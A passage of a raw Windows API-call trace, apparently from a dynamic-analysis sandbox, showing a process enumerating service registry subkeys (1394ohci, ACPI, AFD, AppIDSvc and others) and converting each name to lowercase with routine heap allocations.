lpName="1394ohci") returned 0x0 [0250.546] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.546] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.546] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.546] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0250.546] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.546] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.547] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.547] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.547] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0250.547] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.547] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0250.547] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.547] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0250.547] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.547] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.547] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.547] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.547] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0250.547] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.547] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.547] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.547] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0250.547] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.547] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.547] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.547] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.547] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0250.547] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.547] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0250.547] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.547] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f18e0, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0250.547] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.547] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.547] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.547] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.547] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0250.547] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.547] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.547] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.548] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0250.548] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.548] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.548] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.548] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.548] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0250.548] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.548] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.548] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.548] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0250.548] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.548] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.548] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.548] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.548] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0250.548] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.548] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.548] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.548] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0250.548] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.548] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.548] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.548] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.548] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0250.548] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.548] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0250.549] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.549] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0250.549] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.549] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.549] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.549] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.549] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0250.549] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.549] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0250.549] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.549] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1b68, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0250.549] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.549] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.549] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.549] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.549] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0250.549] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.549] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.549] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.549] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0250.549] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.549] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.549] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.549] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.549] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0250.549] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.549] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.549] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.549] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0250.549] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.549] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.549] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.549] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.550] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0250.550] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.550] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.550] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.550] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0250.550] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.550] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.550] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.550] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.550] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0250.550] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.550] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.550] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.550] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0250.550] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.550] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.550] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.550] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.550] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0250.550] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.550] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.550] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.550] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0250.550] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.550] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.550] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.550] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.550] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0250.550] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.550] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0250.550] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.550] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0250.550] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.551] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.551] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.551] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.551] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0250.551] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.551] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0250.551] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.551] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.551] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.551] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.551] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0250.551] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.551] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0250.551] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.551] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.551] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.551] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.551] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0250.551] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.551] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0250.551] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.551] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.551] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.551] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.551] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0250.551] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.552] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0250.552] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.552] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.552] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.552] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.552] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0250.552] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0250.552] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0250.552] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.552] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.552] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.552] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.552] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0250.552] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.552] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0250.552] RtlAllocateHeap (HeapHandle=0x2520000, 